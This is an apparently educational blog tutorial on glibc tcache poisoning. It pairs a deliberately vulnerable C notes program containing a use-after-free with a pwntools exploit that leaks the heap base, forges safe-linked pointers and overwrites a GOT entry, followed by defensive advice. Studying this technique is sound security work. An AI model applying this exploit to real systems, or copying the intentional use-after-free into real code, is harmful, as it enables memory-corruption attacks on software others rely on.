Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Tcache poisoning is the workhorse of modern glibc heap exploitation: overwrite the next pointer of a chunk sitting in a per-thread cache bin, and two allocations later malloc hands you a pointer to an address you chose. The basic move is widely known. This article goes past the one-liner and into the parts that actually decide whether an exploit works on a given target — the exact tcache_get/tcache_put code path, the tcache_perthread_struct that governs every bin, the counts field, and the two checks glibc added in 2.32 (safe-linking and alignment) that turn a naive poison into an abort.
If you have already seen a use-after-free feed a single tcache poison, treat this as the layer underneath: why the technique needs exactly two allocations, why the poisoned address must be 16-byte aligned, how the counts array can be made to lie, and why overwriting the management struct itself is often cleaner than poisoning individual bins. We assume glibc 2.26+ (tcache present) and call out 2.29 (double-free key) and 2.32 (safe-linking, alignment) behaviour explicitly.
Attack Prerequisites
Poisoning is a metadata-overwrite technique, so it needs a way to write into a freed chunk plus enough control over sizing to hit the bin you want:
- A write into a freed chunk — a use-after-free through a dangling pointer, or a heap overflow from the previous chunk into a freed one, that can set the
next(first 8 bytes) of a tcached chunk. - Allocation-size control so freed chunks land in a bin of your chosen size class (tcache serves up to chunk size 0x410).
- A heap address leak on glibc >= 2.32 — safe-linking XORs
nextwith the storing chunk’s address, so forging a valid pointer requires knowing that address. - A target that is 16-byte aligned (or a nearby aligned address) on glibc >= 2.32, because
_int_mallocnow rejects a misaligned tcache chunk with an abort.
How It Works
A freed tcache chunk is interpreted as a tcache_entry: the first 8 bytes are next (a single-linked pointer to the next free chunk of that size) and the next 8 bytes are key. The management object tcache_perthread_struct holds counts[TCACHE_MAX_BINS] and entries[TCACHE_MAX_BINS], one list head per size class, and lives as the first allocation on the thread’s heap. tcache_put pushes a chunk: it sets e->key = tcache_key, writes e->next = PROTECT_PTR(&e->next, tcache->entries[idx]), stores e as the new head, and increments counts[idx]. tcache_get pops the head, sets it as entries[idx] = REVEAL_PTR(e->next), and decrements counts[idx]. There is no size check against the chunk a next points to — that omission is the vulnerability.
Poisoning follows directly. Free a chunk into a bin, then overwrite its next so the bin’s second element is a forged pointer to your target. The first malloc of that size returns the real chunk; the second returns the target. On glibc < 2.32 the stored value is the raw pointer, so you write p64(target) and you are done. On glibc >= 2.32 safe-linking stores next as (pos >> 12) ^ ptr, where pos is the address of the next field itself (i.e. the chunk’s user address). To forge a link you must compute PROTECT_PTR(chunk_addr, target) yourself, which is why a heap leak becomes mandatory. Simultaneously, 2.32 added an alignment guard: when a chunk is popped, _int_malloc checks the (demangled) pointer is 16-byte aligned and aborts with malloc(): unaligned tcache chunk detected otherwise.
The deeper lever is the tcache_perthread_struct itself. Because it is an ordinary heap chunk (usually the first, of size 0x290), poisoning one bin to return a pointer *into the struct* lets you rewrite every bin’s count and head at once. Set counts[idx] to a nonzero value and point entries[idx] at an arbitrary address, and the very next malloc(size) returns that address with no second allocation and no per-chunk mangling of the final link — the struct’s entries are read directly. Controlling the struct is often the most reliable form of the technique on hardened glibc, since it collapses the alignment and counts constraints into a single well-understood object.
Vulnerable Code / Setup
A menu-driven heap program with the classic four operations — allocate, free without nulling, edit, and view — is the canonical vulnerable target. The bug is the missing ptrs[i] = NULL in del, which leaves a dangling pointer that edit can write through after free:
// gcc -O0 -fno-stack-protector -no-pie notes.c -o notes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *ptrs[16];
size_t szs[16];
void add(int i, size_t n){ ptrs[i]=malloc(n); szs[i]=n; }
void del(int i){ free(ptrs[i]); /* BUG: no ptrs[i]=NULL */ }
void edit(int i, char *src, size_t n){ memcpy(ptrs[i], src, n); } // UAF write
void view(int i){ fwrite(ptrs[i], 1, szs[i], stdout); } // UAF read
Cedit after del is the use-after-free write that sets a freed chunk’s next; view after del is the read that can recover a safe-linked heap value. The protection profile determines the endgame — Partial RELRO leaves the GOT writable, and a known glibc version fixes which hardening applies:
$ checksec --file=./notes
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ldd --version | head -1 # decides safe-linking / alignment behaviour
ldd (Ubuntu GLIBC 2.35-0ubuntu3) 2.35
BashWalkthrough / Exploitation
First, recover the heap base so you can compute safe-linked pointers. The trick: the first chunk freed into an empty bin stores next = (pos >> 12) ^ 0, which is just pos >> 12. Reading it back via the UAF leaks the heap page number:
from pwn import *
io = process('./notes')
def add(i,n): ... # menu wrappers
def free(i): ...
def edit(i,data): ...
def view(i): ...
add(0, 0x18); free(0) # chunk 0 -> tcache[0x20], next = heap>>12
leak = u64(view(0).ljust(8, b'\x00'))
heap = leak << 12 # recover heap base (page-aligned)
log.info('heap base: %#x', heap)
PythonConfirm the bin state and the mangled link under pwndbg before writing the poison — this is where bins, tcache, and vis_heap_chunks earn their keep:
pwndbg> bins # tcachebins 0x20 [ 1]: <mangled next>
pwndbg> tcache # counts[] and entries[] of tcache_perthread_struct
pwndbg> vis_heap_chunks # see the 'next'/'key' words inside the freed chunk
BashNow poison. Compute the safe-linked value for the target using the freed chunk’s own address as pos, overwrite next via the UAF, and allocate twice. On glibc >= 2.32 keep the target 16-byte aligned or the second malloc aborts:
def protect(pos, ptr): # PROTECT_PTR: safe-linking (glibc >= 2.32)
return (pos >> 12) ^ ptr
target = elf.got['free'] # 16-byte-aligned GOT slot, Partial RELRO
chunk0 = heap + 0x2a0 # user address of freed chunk 0 (from vis)
add(1, 0x18); free(1) # a second 0x20 chunk in the bin
edit(1, p64(protect(chunk0, target))) # overwrite next -> mangled target
add(2, 0x18) # pops chunk 1 (real)
arb = add(3, 0x18) # pops 'target' -> malloc returns &got['free']
edit(3, p64(elf.sym['win'])) # overwrite free@GOT with target function
PythonThe stronger variant aims the poison at the tcache_perthread_struct (heap base, size 0x290) instead of the GOT. One poisoned allocation returns a pointer into the struct; writing there lets you set any bin’s counts[idx] to 1 and entries[idx] to an arbitrary address, so the *next* malloc(size) returns that address directly — no second allocation and no final-link mangling to get right. It is the most robust shape of tcache poisoning on hardened glibc and the natural pivot when a single aligned target is not enough.
Note: The alignment check (glibc >= 2.32) rejects a demangled
nextthat is not 16-byte aligned, which quietly kills the old habit of poisoning to__malloc_hook - 0x23to abuse a fake 0x7f size. On modern glibc pick a genuinely aligned target, or route through thetcache_perthread_structwhoseentriesare consumed without the per-chunk alignment gate applying to your final controlled address in the same way. Always verify under gdb that the popped pointer is aligned before you commit.
Opsec: The value you overwrite
nextwith is XORed against the *storing chunk’s* address, not the bin head or a constant — getposwrong by one chunk and the demangled pointer is garbage. Read the actual chunk address out ofvis_heap_chunksrather than assuming an offset; heap layout shifts with allocation order, the tcache struct size, and any earlier allocations the program made before your input.
Detection and Defense
Poisoning depends on an upstream lifetime bug and on the tcache’s thin checking; defense attacks both ends:
- Null pointers after free and adopt ownership models (RAII, smart pointers) so the dangling-pointer write that seeds the poison cannot happen.
- Run recent glibc — safe-linking and the alignment check (2.32) force a heap leak and constrain targets; the double-free key (2.29) blocks the easy double-free route into a poison.
- Full RELRO removes the GOT as the convenient aligned write target, pushing the attacker toward harder objects.
- Sanitizers and hardened allocators — ASan catches UAF deterministically in CI; the glibc abort strings (
unaligned tcache chunk detected,invalid pointer) are strong runtime signals when they appear in crash logs.
Real-World Impact
Tcache poisoning became the default primitive for glibc heap challenges almost immediately after the tcache shipped in 2.26, precisely because its single-linked, lightly-checked design made an arbitrary allocation cheap. The glibc maintainers’ response is legible in the changelog: the 2.29 double-free key, the 2.32 safe-linking pointer obfuscation (itself borrowed from a technique used in other allocators), and the accompanying alignment check all exist to blunt this exact family. It remains the connective tissue of most modern chains — the step that turns a leak plus a UAF into a controlled write against a GOT entry, an _IO_FILE structure, or the tcache management struct itself.
Conclusion
The mechanics that decide a real tcache-poison exploit are the ones past the headline: tcache_put/tcache_get store the link inside the chunk and skip a size check; safe-linking XORs that link with the chunk’s address so you need a heap leak and a PROTECT_PTR computation; the alignment check forces aligned targets; and the tcache_perthread_struct is a single object whose counts and entries let you own every bin at once. Master those four and poisoning stops being a recipe and becomes a tool you can bend to whatever the target’s glibc version and mitigations allow.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments